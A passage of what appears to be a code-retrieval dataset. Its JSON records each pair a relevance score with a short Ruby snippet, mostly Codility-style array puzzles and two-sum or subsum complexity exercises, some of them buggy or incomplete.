"text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n #a[0] = 1 [-1..1]\r\n #a[1] = 5 [-4..6]\r\n #a[2] = 2 [0..4]\r\n #a[3] = 1 [2..4]\r\n #a[4] = 4 [0..8]\r\n #a[5] = 0 [0]\r\n\r\n i=0\r\n arr=[]\r\n while(i<a.count) do\r\n \r\n arr[i] = (i-a[i].. i+a[i]).to_a\r\n i+=1 \r\n end\r\n \r\n \r\n \r\n l=arr.count\r\n i=0\r\n n=0\r\n while(i<l) do\r\n \r\n \r\n j=i+1\r\n while(j<l) do\r\n if(arr[i] != arr[j])\r\n \r\n if((arr[i] & arr[j]).empty? == false)\r\n n+=1\r\n end\r\n end\r\n j+=1\r\n end \r\n i+=1\r\n end\r\n n\r\nend",
"title": ""
},
{
"docid": "32a0ef79e59e9f9547a01b3fcc7312dd",
"score": "0.640081",
"text": "def solution(a)\n acc = 0\n sum = 0\n\n a.each do |n|\n if n == 0\n acc += 1\n else\n sum += acc\n end\n\n return -1 if sum > 1000000000\n end\n\n sum\nend",
"title": ""
},
{
"docid": "d8dacb5fc4fc1e05838533b0a605215a",
"score": "0.63873374",
"text": "def solution(a)\n # write your code in Ruby 2.2\n # max 100,000 elements, so don't care about >100,000 vals# also don't care about negatives\n a.delete_if{ |x| x < 0 || x > 100000 }\n # likely decreased the number of elements so might as well limit the number of loops necessary\n # could also do .uniq here to potentially decrease it further, but I think that's unnecessary\n max_count = a.size\n \n # keep track of elements via keys in a hash\n included_vals = {}\n a.each do |element|\n included_vals[element.to_s] ||= true\n end\n 1.upto(max_count+1).each do |i|\n return i unless included_vals[i.to_s]\n end\n \nend",
"title": ""
},
{
"docid": "9bfaea331eedce3072d8464bb5cccee1",
"score": "0.6383577",
"text": "def fast_two_sum?(arr)\n # O(n) in time and space\n result = []\n complements = {}\n\n arr.each_with_index do |el, i|\n if complements[el]\n result.push([complements[el], i])\n else\n complements[-el] = i\n end\n end\n result\n #result.sort\nend",
"title": ""
},
{
"docid": "e074cc89f39364348a3a6d14bb3013cd",
"score": "0.6380149",
"text": "def solution(m, a)\n tail, count, q = 0, 0, 0\n used = [-1] * (m + 1)\n a.each_with_index do |n, head|\n if used[n] == -1\n used[n] = head\n else\n new_tail = used[n] + 1\n q = head - tail\n r = head - new_tail\n count += q*(q+1)/2 - r*(r+1)/2\n i = tail\n used[a[i]] = -1 while i += 1 and i < new_tail\n used[n] = head\n tail = new_tail\n # puts \"used: #{used}, q: #{q}, r: #{r}\"\n end\n end\n q = a.length - tail\n count += q*(q+1)/2\n [count, 1000000000].min\nend",
"title": ""
},
{
"docid": "92946b9df716e5c3e932f5cf3c513c13",
"score": "0.6378839",
"text": "def solution(a)\n # write your code in Ruby 2.2\n sums = [nil]\n soln = 0\n\n currSum = 0\n a.each do |num,index|\n currSum += num\n sums.push currSum\n if currSum == 0\n soln += 1\n end\n end\n\n for i in (1...a.size) do\n x = a[i-1]\n for j in (i+1...a.size) do\n sums[j] = sums[j] - x\n soln += 1 if sums[j] == 0\n break if soln > 1000000000\n end\n break if soln > 1000000000\n end\n\n #if 0 exists in the array add [index,index]\n idx = a.index(0)\n soln += 1 if !(idx.nil?)\n\n soln > 1000000000 ? -1 : soln\n\nend",
"title": ""
},
{
"docid": "c3a6c4ddb76579e45e3cbe80fba426be",
"score": "0.6360391",
"text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n\r\n l=a.count-1\r\n arr=[]\r\n \r\n \r\n loop do\r\n arr[a[l]-1] = a[l]\r\n \r\n l-=1\r\n break if l<0\r\n end\r\n \r\n if arr.count == a.count\r\n return 1\r\n else\r\n return 0\r\n end\r\n \r\n \r\nend",
"title": ""
},
{
"docid": "fd65d1f145815f32f434c3a3931d3c93",
"score": "0.634689",
"text": "def solution(a)\n a1 = []\n a2 = []\n len = a.length\n count = 0\n \n a.each_with_index do |el, i|\n a1 << i-el\n a2 << i+el\n end\n \n a1.sort\n a2.sort\n \n (len-1).downto(0) do |i|\n position = a2.find_index(a1[i])\n if position && position >= 0\n while ((position < len) && (a2[position] == a1[i])) do\n position += 1\n end\n count += position \n else\n insertion_point = -(position+1)\n count += insertion_point\n end\n end\n \n sub = len*((len+1)/2)\n \n return -1 if (count > 10000000)\n \n count\nend",
"title": ""
},
{
"docid": "c978c895d39f4228b0e144beeaf88f7c",
"score": "0.6332518",
"text": "def removNb_inefficient(n)\n sigma = n*(n+1)/2 # First find the sum of the first n numbers\n (1..n).each do |i| # Start one iteration from 1 to n, call that i\n (i+1..n).each do |j| # Start an inner iteration fron i+1 to n\n product = i*j \n gap_sum = sigma - i - j\n if product == gap_sum # if it meets our conditions then we're done\n return [[i,j],[j,i]]\n end\n end\n end\n return [] # if we have gotten this far then we have no solution\nend",
"title": ""
},
{
"docid": "72fa899102c258037694540f9f1f4414",
"score": "0.6329356",
"text": "def zaprzyjaznione(n)\n tab = []; (1..n).to_a.each {|x| a = suma_dzielnikow(x); b = suma_dzielnikow(a); tab.push([a,b].sort()) if (x == b) and (x!=a)}; tab.uniq\nend",
"title": ""
},
{
"docid": "f2563f656f9ad2f58bf4381eb84e80ef",
"score": "0.63277787",
"text": "def solution(a)\n # write your code in Ruby 2.2\n count = 0\n a.each_with_index do |v,i|\n return -1 if count > 1000000000\n return count if a[i..-1].count(0) == 0\n count = count + a[i..-1].count(1) if v == 0\n end\n count\nend",
"title": ""
},
{
"docid": "58e1fa8bcd6897d0c0d2f244ac3d723b",
"score": "0.6321328",
"text": "def subsum(list) \r\n subs = []\r\n list.each_with_index do |el, i| #O(n)\r\n list.each_with_index do |el2, j| #O(n)\r\n subs << list[i..j] if j >= i #O(n)\r\n end\r\n end # => O(n^3)\r\n # O(n^2)\r\n subs.map{|sub| sub.sum}.max # => O(n)\r\nend",
"title": ""
},
{
"docid": "e426223253be53129b716cc8ec828618",
"score": "0.6258986",
"text": "def naive(n)\n all = (0..n-1).to_a\n \n solutions = []\n\n Backtracker.generate do\n candidates { |a| all - a }\n solution? do |a| \n a.each_with_index { |e, i| return false if i == e } \n a.size == n\n end\n found_solution { |a| solutions << a.clone }\n end\n\n return solutions\nend",
"title": ""
},
{
"docid": "7486486d145945704d265f4b9c09cdf9",
"score": "0.6229725",
"text": "def solution(n, a)\n result = Array.new(n, 0)\n max_value = 0\n max_value_used = false\n\n a.each do |elem|\n if elem <= n\n result[elem-1] += 1\n if max_value < result[elem-1]\n max_value = result[elem-1]\n max_value_used = false\n end\n else\n next if max_value_used\n result.fill(max_value)\n max_value_used = true\n end\n end\n\n result\nend",
"title": ""
},
{
"docid": "a0585efb6ce6c1ab9a9c9b1349500c69",
"score": "0.62280947",
"text": "def solution(a)\n n = a.length\n count = Array.new(n + 2, 0)\n a.each do |el|\n next if el < 0 || el > n + 1\n count[el] == 0 ? count[el] = 1 : count[el] += 1\n end\n\n count.each_with_index do |el, index|\n if el.to_i == 0 && index.to_i > 0\n return index\n end\n end\n\n return \"No element missing\"\nend",
"title": ""
},
{
"docid": "49552ab2769a4e7e83c75ae7c3fe0900",
"score": "0.62183917",
"text": "def solution(a)\n size = 0\n value = -1\n (0..(a.length-1)).each do |i|\n if(size == 0)\n size = 1\n value = a[i]\n else\n if(value != a[i])\n size = size - 1\n else\n size = size + 1\n end\n end\n end\n\n candidate = -1\n leader = -1\n count = 0\n index = -1\n\n if(size > 0)\n candidate = value\n end\n\n (0..(a.length-1)).each do |i|\n if a[i] == candidate\n count = count + 1\n index = i\n end\n end\n\n if count > (a.length/2)\n leader = candidate\n else\n index = -1\n end\n\n index\nend",
"title": ""
},
{
"docid": "b8b7d7fb43e0a5b4979a1606497cab28",
"score": "0.62131286",
"text": "def better_subsum(list)\r\n largest_sum = nil # O(1)\r\n current_sum = nil # O(1)\r\n list.each_with_index do |ele, i| # O(n)\r\n if current_sum == nil\r\n current_sum = ele\r\n largest_sum = current_sum if largest_sum == nil\r\n else\r\n current_sum += ele\r\n end\r\n\r\n if current_sum >= largest_sum\r\n largest_sum = current_sum\r\n end\r\n\r\n if ele > current_sum\r\n largest_sum = ele if ele > largest_sum\r\n current_sum = ele\r\n end\r\n end\r\n largest_sum # O(1)\r\nend",
"title": ""
},
{
"docid": "cacfcee9f4f36db314894b97089ed377",
"score": "0.6212295",
"text": "def example2()\n\tarr = 1.upto($limit).each_with_index.map {|index| if (divisorSum(index) > index + 1) then index end}.compact\n\t#arr.each_with_index { |n,index| if(n.nil? == false) then printf \"index %d = %d\\n\",index, n end }\n\t#p divisorSum(16)\n\t#p arr\n\t#arr = arr.product(arr)\n\t#arr2 = {}\n\tarr.sort\n\tarr2 = []\n\ti = 0\n\twhile (i < arr.length)\n\t\tj = 0\n\t\twhile(j < arr.length)\n\t\t#if(arr[i] + arr[j] <= $limit and arr2[arr[i] + arr[j]].nil? == false) then\n\t\t#\tarr2.merge(i => arr[i] + arr[j])\n\t\t#end\n\t\tif(arr[i] + arr[j] <= $limit) then\n\t\t\tarr2.push(arr[i] + arr[j])\n\t\telse\n\t\t\tbreak\n\t\tend\n\t\tj = j +1\n\t\tend\n\t\ti = i + 1\n\tend\n\tarr2 = arr2.uniq!\n\tp arr2\n\t#p \"---------------------\"\n\t#arr = arr.map {|mylist| mylist.reduce(:+) }.uniq!\n\ttotal = 0\n\t1.upto($limit) do |index|\n\t\tif(arr.include?(index) == false) then\n\t\t\ttotal = total + index\n\t\t\t#p index\n\t\tend\n\tend\n\ttotal\nend",
"title": ""
},
{
"docid": "d342d82e565fe2eefb267643b543468f",
"score": "0.62031394",
"text": "def solution(a)\n hash = {}\n a.each { |v| \n hash[v] = true\n }\n\n i = 1\n while true\n return i if not hash[i]\n i += 1\n end\nend",
"title": ""
},
{
"docid": "e8dd4b022bb990b6c834f14602c975cc",
"score": "0.6195517",
"text": "def solution(a)\n uniq_array = a.uniq\n real_count = 0\n a.each_with_index do |e,i|\n dest_count = 0\n check_array = []\n\n j = i + 1\n while(j<a.count && uniq_array.count != check_array. count)\n dest_count +=1\n unless check_array.include?a[j]\n check_array.push(a[j]) \n end\n end \n real_count = dest_count if real_count < dest_count\n end\n return real_count \nend",
"title": ""
},
{
"docid": "75140bd92377e07bd7367ec852f43d4d",
"score": "0.6183409",
"text": "def solution(arr) end",
"title": ""
},
{
"docid": "354acc44d23902170d18ef50bb27f5b1",
"score": "0.6176405",
"text": "def dynamic_programming(sorted)\n acc = { sorted.length - 1 => 1 }\n result = 1\n (2..sorted.length).each do |offset|\n (sorted.length - offset + 2...sorted.length).each do |index|\n break unless sorted[index] - sorted[sorted.length - offset] <= 3\n\n result += acc[index]\n end\n acc[sorted.length - offset] = result\n end\n result\nend",
"title": ""
},
{
"docid": "2d1f5ffbab8c86bc000cce7ee42c2003",
"score": "0.6172115",
"text": "def solution(array)\n array.sort!\n return 0 if array.length == 1 && array.first != 1\n length = array.length\n start = 1\n length.times do |n|\n if array[start-1] != n + 1\n return 0\n end\n start += 1\n end\n return 1\nend",
"title": ""
},
{
"docid": "22c89ea0d20d6735928944c912d976f0",
"score": "0.61502045",
"text": "def solution(n, a)\n # write your code in Ruby 2.2\n \n c = [0]*n\n max = 0\n a.each do |v|\n if v <= n\n c[v-1] += 1\n if c[v-1] > max\n max = c[v-1]\n end\n else\n c = [max]*n\n end\n end\n c\nend",
"title": ""
},
{
"docid": "14108b90579064c56f379982f28ec3cd",
"score": "0.61492264",
"text": "def solution(a)\n index = (1..a.size).to_a # => [1, 2, 3, 4]\n counter = index.size # => 4\n\n a.each do |element|\n el = element - 1\n if index[el] == nil || index[el] == -1\n return 0\n else\n index[el] = -1\n counter = counter - 1\n end\n end\n\n # 1 if value is 0 otherwise 0\n if counter == 0\n return 1\n else\n return 0\n end\nend",
"title": ""
},
{
"docid": "9eff65814391c7285afc2f2f87a89d08",
"score": "0.6148438",
"text": "def sub_sum_1(list) # time complexity is O(n^3)\n sub_arr = []\n (0...list.length - 1).each do |i|\n (i...list.length).each do |j|\n sub_arr << list[i..j]\n end\n end\n sub_arr.inject { |arr1, arr2| arr2.sum > arr1.sum ? arr1 = arr2 : arr1 }.sum\nend",
"title": ""
},
{
"docid": "4adcd8ce1f663221c3c23c720e9dae18",
"score": "0.6139374",
"text": "def solution(n)\n counter_array = Array.new(n.size+1, 0)\n n.each do |v|\n counter_array[v-1] = 1\n end\n counter_array.find_index(0) + 1\nend",
"title": ""
},
{
"docid": "d8ad378040781eb3a26969978966b3b7",
"score": "0.61270165",
"text": "def solution(n, a)\r\n # write your code in Ruby 2.2\r\n \r\n arr = Array.new(n, 0)\r\n max=0\r\n a.each_with_index{ |el, i|\r\n if (el<n)\r\n arr[el-1]+=1\r\n if(max<arr[el-1])\r\n max=arr[el-1]\r\n end\r\n else\r\n arr = Array.new(n, max)\r\n end\r\n \r\n \r\n \r\n }\r\n \r\n arr\r\n \r\nend",
"title": ""
},
{
"docid": "41d8272b7c7b14be391f11bb61b8cafe",
"score": "0.6123469",
"text": "def solution(a)\n # write your code in Ruby 2.2\n \n counter = 0\n\ttotal = 0\n\t\n\ta.each do |car|\n\t\tcar == 0 ? counter += 1 : total += counter\n\tend\n\t\n\treturn total > 1_000_000_000 ? -1 : total\nend",
"title": ""
},
{
"docid": "803ddb77c208610ac4827e994b451008",
"score": "0.6118513",
"text": "def better_two_sum(arr, target)\n sorted = arr.sort #n log n\n sorted.each do |ele|\n dif = target - ele\n return true if sorted.bsearch{|x| x == dif}\n end\n false\nend",
"title": ""
},
{
"docid": "cfdb479abac80ce08c5ac31eab8d2cb4",
"score": "0.61028844",
"text": "def solution(a)\n size = 0\n last_index = nil\n\n a.each_with_index { |val, i|\n if size == 0\n last_index = i\n size += 1\n else\n if a[last_index] == val\n size += 1\n else\n size -= 1\n end\n end\n }\n\n if size > 0 and a.count { |val| val == a[last_index] } > a.count / 2\n last_index\n else\n -1\n end\nend",
"title": ""
},
{
"docid": "37f278c8a1076ecabc97d2eac7f7e724",
"score": "0.60926867",
"text": "def solution(a)\n # write your code in Ruby 2.2\n \n n = a.length\n \n b = [0]*(n+1) # I want to index from 1\n b[0] = 1 # hack to avoid an \"if\"\n\n a.each { |v|\n if v > 0 and v <= n # don't care about non-positive numbers\n b[v] = 1\n end\n }\n \n b.each_with_index { |v, i|\n if v == 0\n return i\n end\n }\n \n n + 1\nend",
"title": ""
},
{
"docid": "72bb3b989efb9ec765190d8962bff157",
"score": "0.6085388",
"text": "def solution(a)\n # write your code in Ruby 1.9.3\n count = Array.new(a.length,0)\n a.each do |e|\n return 0 if e > a.length\n count[e-1] += 1 \n end\n \n (1..count.length-1).each do |i|\n return 0 if count[i]!=1 || count[i] > 1\n end\n \n return 1\nend",
"title": ""
},
{
"docid": "2b5ba42cef70d3c35ce0591f7c06c8f1",
"score": "0.60833436",
"text": "def solution(n, a)\n # write your code in Ruby 2.2\n counters = [0] * n\n max = 0\n\n return counters if a.min > n\n\n a.each do |v|\n if v > n\n counters.fill(max)\n else\n count = counters[v - 1] += 1\n max = count if count > max\n end\n end\n \n counters\nend",
"title": ""
},
{
"docid": "ba45c54e0e93b61df11a30895aba7b72",
"score": "0.6073679",
"text": "def sluggish_octopus(arr) #finding the longest fish in O(n^2) time\r\n longest_fish = \"\"\r\n arr.each do |fish|\r\n arr.each do |fish2|\r\n longest_fish = fish2 if fish2.length >= fish.length && fish2.length >= longest_fish.length\r\n end\r\n end\r\n longest_fish\r\nend",
"title": ""
},
{
"docid": "acbebb5b33f0957604a4206455455999",
"score": "0.6071684",
"text": "def solution(array)\n array.sort!\n current = 1\n (0..array.size).step(1) do |n|\n return current unless array[n] == current\n\n current += 1\n end\nend",
"title": ""
},
{
"docid": "369faf5bab4f52230e0f993b5e42ce07",
"score": "0.60699743",
"text": "def find_duplicate(nums)\n slow = nums.size\n fast = nums.size\n \n begin\n slow = nums[slow - 1]\n fast = nums[nums[fast - 1] - 1]\n end while slow != fast\n \n slow = nums.size\n \n while slow != fast\n slow = nums[slow - 1]\n fast = nums[fast - 1]\n end \n \n slow\nend",
"title": ""
},
{
"docid": "d40fb1372be302f457e9d2d28c4b115f",
"score": "0.60683113",
"text": "def largest_contiguous_subsum(list)\n new_list = []\n i = 0\n while i < list.length # O(n)\n j = i\n while j < list.length # O(n)\n sub = list[i..j] # O(n)\n new_list << sub\n j += 1\n end\n i += 1\n end\n largest_sub_sum = new_list[0].sum #O(n)\n \n new_list.each do |sub| # O(n)\n sub_sum = sub.sum # O(n)\n largest_sub_sum = sub_sum if largest_sub_sum < sub_sum\n end\n\n p new_list\n return largest_sub_sum\nend",
"title": ""
},
{
"docid": "83415dea3d7100c1aaecd6d3d6b40414",
"score": "0.60589486",
"text": "def largest_contiguous_subsum(list) #O(n^2)\n sub_arrs = [] #O(1)\n num = list.first #O(1)\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arrs << list[i..j] #??? O(1)\n #sub_arrs.shift O(n)\n #the length of sub_arrs\n end\n end \n p sub_arrs #O(1)\n sub_arrs.each do |sub| #O(n)\n if sub.sum > num #O(1)\n num = sub.sum #O(1)\n end \n end \n num #O(1)\nend",
"title": ""
},
{
"docid": "b610d2c664f8f0d4a183485fcb45a142",
"score": "0.60534114",
"text": "def better_two_sum?(arr, target)\n arr = arr.sort #nlogn\n arr.each_with_index do |ele , i |\n newarr=arr[0...i] + arr[i+1..-1]\n return true if newarr.bsearch_index{|ele2| target <=> ele2+ele }\n end\n false\nend",
"title": ""
},
{
"docid": "578a4c2088c4d8ec64fbe2465745ad9e",
"score": "0.6051716",
"text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n #0 -east\r\n #1 - west\r\n \r\n\r\n\r\n arr=[]\r\n n=0\r\n a.each_with_index{|el,i|\r\n \r\n if(el==0)\r\n j=i\r\n loop do\r\n if (a[j] == 1)\r\n n+=1\r\n end\r\n \r\n j+=1 \r\n break if j==a.count \r\n end\r\n \r\n end\r\n \r\n }\r\n \r\n n\r\nend",
"title": ""
},
{
"docid": "d126b794382588618d12438a5e46269e",
"score": "0.6050272",
"text": "def solution(a)\n a.sort!\n triplets = 0\n a.each_with_index do |p, i|\n k = i + 2\n a[i+1..-1].each_with_index do |q, j|\n k += 1 while k < a.length && p + q > a[k]\n triplets += k - j - i - 2\n end\n end\n triplets\nend",
"title": ""
},
{
"docid": "28ee74380ad4f330a37e617f7b44bacb",
"score": "0.6045618",
"text": "def exce1 i, n\n if i == 0\n return 1\n else\n result = 0\n (0..n).each do |k|\n result += exce1(i-1, k)\n end\n return result\n end\nend",
"title": ""
},
{
"docid": "390adbc1693314fc182134b8fc81e35e",
"score": "0.6044789",
"text": "def find_amicable_numbers(limit)\n result = []\n (1...limit).each do |a|\n b = d(a)\n res = d(b)\n result.push(a) if (a == res) && (a != b)\n end\n result\nend",
"title": ""
},
{
"docid": "1b46f9e46d230cc0f1dfb7236b181031",
"score": "0.6038551",
"text": "def find_unique(n)\n n = n.sort\n return n[0] if n[0] != n[1]\n n.map.with_index { |_, ind| return n[ind + 1] if n[ind] != n[ind + 1] && n[ind + 1] != n[ind + 2] }\nend",
"title": ""
},
{
"docid": "e4bf969521382732ac79be40ffa78c87",
"score": "0.60287344",
"text": "def solution(a)\r\n ones=0\r\n temp=0\r\n ans=0\r\n for i in 0...a.size\r\n if a[i]==1\r\n ones+=1\r\n end\r\n end\r\n \r\n for i in 0...a.size\r\n if a[i]==1\r\n temp+=1\r\n else\r\n ans+=(ones-temp)\r\n end\r\n end\r\n \r\n if ans>1000000000\r\n return -1\r\n else\r\n return ans\r\n end\r\n \r\n \r\nend",
"title": ""
},
{
"docid": "c8dd625e6c894142a0c7e940d8856eef",
"score": "0.6028168",
"text": "def solution(a)\n return 1 if a.empty?\n\n (1..a.count + 1).inject(:+) - a.inject(:+)\nend",
"title": ""
},
{
"docid": "cbae4c1508d3e608a257c7786afdfa1e",
"score": "0.6021481",
"text": "def z_algorithm(s)\n n = s.size\n return [] if n == 0\n \n z = [0]*n\n z[0] = n\n i, j = 1, 0\n while i < n\n j += 1 while i+j<n && s[j]==s[i+j]\n z[i] = j\n if j == 0 then\n i += 1\n next\n end\n k = 1\n while i+k<n && k+z[k]<j\n z[i+k] = z[k]\n k += 1\n end\n i += k\n j -= k\n end\n return z\nend",
"title": ""
},
{
"docid": "cc1375cb86f967173461bdf08e8f7789",
"score": "0.60116374",
"text": "def solve_b(arr)\n res = arr[0]\n count = 0\n\n arr.each do |x|\n if count == 0\n res = x\n end\n\n if x == res\n count += 1\n else\n count -= 1\n end\n end\n\n arr.count { |x| x == res } >= (arr.size / 2 + 1) ? res : -1\n end",
"title": ""
},
{
"docid": "6faeb6df6d597ee8c97b9f564742f2b5",
"score": "0.601033",
"text": "def solution(x, a)\n # write your code in Ruby 2.2\n map = {}\n i = 0\n while i < a.length do\n n = a[i]\n map[n] = true\n\n break if map.length == x\n\n i += 1\n end\n\n if i < a.length\n i\n else\n -1\n end\nend",
"title": ""
},
{
"docid": "f940ebb2f9addfec0bab7ecb7def1860",
"score": "0.6009588",
"text": "def arrayManipulation(n, queries)\n arr = Array.new(n,0)\n max = 0\n queries.each do |q|\n a = q[0] - 1\n b = q[1] - 1\n k = q[2]\n a.upto(b) do |i|\n arr[i] += k\n max = arr[i] unless max > arr[i]\n end\n end\n max\nend",
"title": ""
},
{
"docid": "67b9ef53ec11d2afb99c8f85cfeb3a19",
"score": "0.60082257",
"text": "def lcs(array) #O(n^3)\r\n subs = []\r\n (0...array.length).each do |i|\r\n (i+1...array.length).each do |j|\r\n subs << array[i..j]\r\n end\r\n end\r\n\r\n subs.map(&:sum).max\r\nend",
"title": ""
},
{
"docid": "df4dd879163972c8c8ac608fdb010ddc",
"score": "0.60060775",
"text": "def solution(n, a)\r\n max=0\r\n b=Array.new(n,0)\r\n for i in 0...a.size\r\n if a[i]<=n\r\n b[a[i]-1]+=1\r\n if b[a[i]-1]>max\r\n max=b[a[i]-1]\r\n end\r\n end\r\n if ((a[i]>n) && (a[i-1]<=n))\r\n b=Array.new(n,max)\r\n end\r\n end\r\n \r\n return b\r\n \r\n \r\nend",
"title": ""
},
{
"docid": "3c1976af0664d8a8bb63bb93f197ba23",
"score": "0.6005837",
"text": "def ntime(arr)\n best = arr.shift\n arr.each do |fish|\n best = fish if fish.length > best.length\n end\n best\nend",
"title": ""
},
{
"docid": "9f058d080f26f609192ec4bbdb27a792",
"score": "0.59989685",
"text": "def two_sum_time(arr, sum)\n hash = {}\n arr.each do |n|\n hash[n] ? hash[n] += 1 : hash[n] = 1\n end\n\n result = []\n arr.each do |n|\n if hash[sum - n] && hash[sum - n] > 0\n hash[sum - n] -= 1\n hash[n] -= 1\n result.push([n, sum - n])\n end\n end\n result\nend",
"title": ""
},
{
"docid": "75612baf554ef9658d384d634ee77916",
"score": "0.5997826",
"text": "def solution(a)\n hash = Hash.new(0)\n\n a.each_with_index do |e, idx|\n hash[e] += 1\n return idx if hash[e] > a.length / 2.0\n end\n -1\nend",
"title": ""
},
{
"docid": "af5213168e0ee82b120bec44b2735af5",
"score": "0.5996327",
"text": "def solution(a)\n size = 0\n value = -1\n (0..(a.length-1)).each do |i|\n if(size == 0)\n size = 1\n value = a[i]\n else\n if(value != a[i])\n size = size - 1\n else\n size = size + 1\n end\n end\n end\n\n candidate = -1\n leader = -1\n count = 0\n leader_indices = []\n\n if(size > 0)\n candidate = value\n end\n\n (0..(a.length-1)).each do |i|\n if a[i] == candidate\n count = count + 1\n end\n leader_indices << count\n end\n\n if count > (a.length/2)\n leader = candidate\n end\n\n leaders_count = 0\n\n if(leader != -1)\n (0..(a.length-1)).each do |i|\n a_1 = a[0..i]\n a_2 = a[(i+1)..(a.length-1)]\n\n count_2 = leader_indices[i]\n\n # puts \"count_2 #{count_2} , count #{a_1.length/2}\"\n # puts \"count_2 #{count_2} , (count-count_2) #{(count-count_2)}, count #{(a_2.length/2)}\"\n\n if count_2 > (a_1.length/2) && (count-count_2) > (a_2.length/2)\n leaders_count = leaders_count + 1\n end\n\n # puts leaders_count\n # puts\n end\n end\n\n leaders_count\nend",
"title": ""
},
{
"docid": "47ffb8f3cea4d419b61b5e7563804635",
"score": "0.5993781",
"text": "def find_it(seq)\n # my sol @2019.12.19\n # seq.uniq.reduce([]){|x,i| x << ( seq.count(i).odd? ? i : [] )}.join.to_i\n \n # # best sol1\n # seq.detect { |n| seq.count(n).odd? }\n\n # # best sol2\n seq.reduce(:^)\n\nend",
"title": ""
},
{
"docid": "e617b7073527f445ebb2e838c9fd8ac1",
"score": "0.59921384",
"text": "def nlogn_search(array)\n #sorting from the longest to the shortest\n prc ||= Proc.new {|x, y| y.length <=> x.length}\n #return the first eleemtn\n array.merge_sort(&prc)[0]\nend",
"title": ""
},
{
"docid": "db0249d085352ac43e1e3dac3f7b8d02",
"score": "0.599153",
"text": "def slow_leader(n)\n length = n.size\n leader = -1\n n.each do |candidate|\n count = 0\n n.each do |num|\n count += 1 if num == candidate\n end\n leader = candidate if count > length/2\n end\n leader\nend",
"title": ""
},
{
"docid": "f3f1b7b70874787f71809ba4f7b9f00e",
"score": "0.59914714",
"text": "def solution(a)\n contains = {}\n for i in a\n contains[i] = true\n end\n if contains.keys.max < 1\n 1\n else\n for i in (1..contains.keys.max)\n return i unless contains[i]\n end\n contains.keys.max + 1\n end\nend",
"title": ""
},
{
"docid": "2515a311ba13d219cf876dac5434645c",
"score": "0.59912956",
"text": "def threesome_adv(input_array)\r\n\tarr = input_array\r\n\tlen = arr.length\r\n\tsum_hash = Hash.new\r\n\r\n\t(0..len-1).each do |index1| # first for loop\r\n\t\t(index1+1..len-1).each do |index2| # second for loop\r\n\t\t\tsumTwoElem = arr[index1] + arr[index2] # sum of 2 array values will be key in hash\r\n\t\t\tif not sum_hash.keys.include?(sumTwoElem) # check for duplicates in hash keys\r\n\t\t\t\tsum_hash[sumTwoElem] = [] # create the key\r\n\t\t\tend\r\n\t\t\tsum_hash[sumTwoElem] << [index1, index2] # append indices\r\n\t\tend\r\n\tend\r\n\r\n\t(0..arr.length-1).each do |index|\r\n\t\tarr_val = arr[index]\r\n\t\t# first if: check if hash contains key that's negative complement of array value\r\n\t\t# second if: check if indices are the same to avoid double use of array value\r\n\t\tif sum_hash.keys.include?(-arr_val) and not sum_hash[-arr_val].include?(index)\r\n\t\t\tputs true\r\n\t\t\treturn\r\n\t\tend\r\n\tend\r\n\tputs false\r\nend",
"title": ""
},
{
"docid": "4a0208da5563045de281834898c7a59c",
"score": "0.5987702",
"text": "def solution(a)\n n = a.size\n saw = Array.new(n)\n\n n.times do |i|\n if a[i].between?(1, n)\n saw[a[i] - 1] = 1\n end\n end\n\n saw.size.times do |anum|\n return anum + 1 if saw[anum].nil?\n end\n\n n + 1\nend",
"title": ""
},
{
"docid": "f2ed3d566a2141c44894258397e2c392",
"score": "0.5986539",
"text": "def okay_two_sum?(arr, target_sum)\n arr.sort! # O(n log n)\n arr.each.with_index do |ele,i| # O(n log n)\n target = target_sum - ele \n res = b_search(arr[0...i] + arr[i+1..-1], target) # exclude the current ele\n return true unless res.nil?\n end\n false \nend",
"title": ""
},
{
"docid": "ad56d9270e847dfc8b110c2ec5a85a2d",
"score": "0.5982793",
"text": "def find_judge(n, trust)\r\n arr = (1..n).to_a\r\n hash = {}\r\n arr.each {|num| hash[num] = 0}\r\n trust.each do |tuple|\r\n hash.delete(tuple[0]) if hash[tuple[0]]\r\n hash[tuple[1]] += 1 if hash[tuple[1]]\r\n end\r\n hash.keys.each {|key| return key if hash[key] == n-1}\r\n return -1\r\nend",
"title": ""
},
{
"docid": "6231cd38ceb9ae565d4d34617d5c6e65",
"score": "0.59814614",
"text": "def slow_find(fish)\n sorted_fish = fish.dup\n \n sorted = false\n until sorted do\n sorted = true\n i = 0\n while i < fish.length - 1 do\n fish_1, fish_2 = sorted_fish[i..i+1]\n if fish_1.length > fish_2.length\n sorted_fish[i+1] = fish_1\n sorted_fish[i] = fish_2\n sorted = false\n end\n i += 1\n end\n end\n sorted_fish.last\nend",
"title": ""
},
{
"docid": "ecfe1531988f10454fcafd0f93932fed",
"score": "0.59750664",
"text": "def solution(x, a)\n # write your code in Ruby 2.2\n path = {}\n\n a.each_with_index do |element, i|\n path[element] = true\n return i if path.size == x\n end\n -1\nend",
"title": ""
},
{
"docid": "2ed2b8451d15b8455e4a33bb8af47ec3",
"score": "0.5974864",
"text": "def solve(n)\n result = Array.new(n) { [1] }\n result.each.with_index do |item, index|\n row, pred_row = result[index], result[index-1]\n 0.upto(index-1) do |subindex|\n row << (pred_row[subindex+1].nil? ? row[subindex] : row[subindex] + pred_row[subindex+1])\n end if index.nonzero?\n end\n result.last.inject(:+)\n\n # 1st element will be 1\n # 2nd element will be n - 1\n #\n # (n)th element will be (n - 1)th element\n\nend",
"title": ""
},
{
"docid": "b126ccdd541b61cb43a9040e71c8d52d",
"score": "0.59689",
"text": "def fast_solution(m, a)\n multiples = 0 # number of #'s in freq that occur >= 2 times\n\n back = distinct = 0\n freq = Hash.new(0)\n a.each_with_index do |elem, front|\n puts \"back: #{back}, front: #{front}, elem: #{elem}, a[#{back}..#{front}]: #{a[back..front]}\"\n\n freq[elem] += 1\n multiples += 1 if freq[elem] > 1\n\n puts \"freq: #{freq}, multiples: #{multiples}\"\n while multiples > 0\n # Move back index forward 1 step. \n # Have we gotten rid of the element that gave us multiple > 1?\n # Does our (back, front) slice still have multiples?\n freq[a[back]] -= 1\n multiples -= 1 if freq[a[back]] == 1\n back += 1\n\n puts \"freq: #{freq}, multiples: #{multiples}, back: #{back}, front: #{front}, a[#{back}..#{front}]: #{a[back..front]}\"\n end\n distinct += front - back + 1\n puts \"distinct: #{distinct}\"\n end\n [distinct, MAX_SLICES].min\nend",
"title": ""
},
{
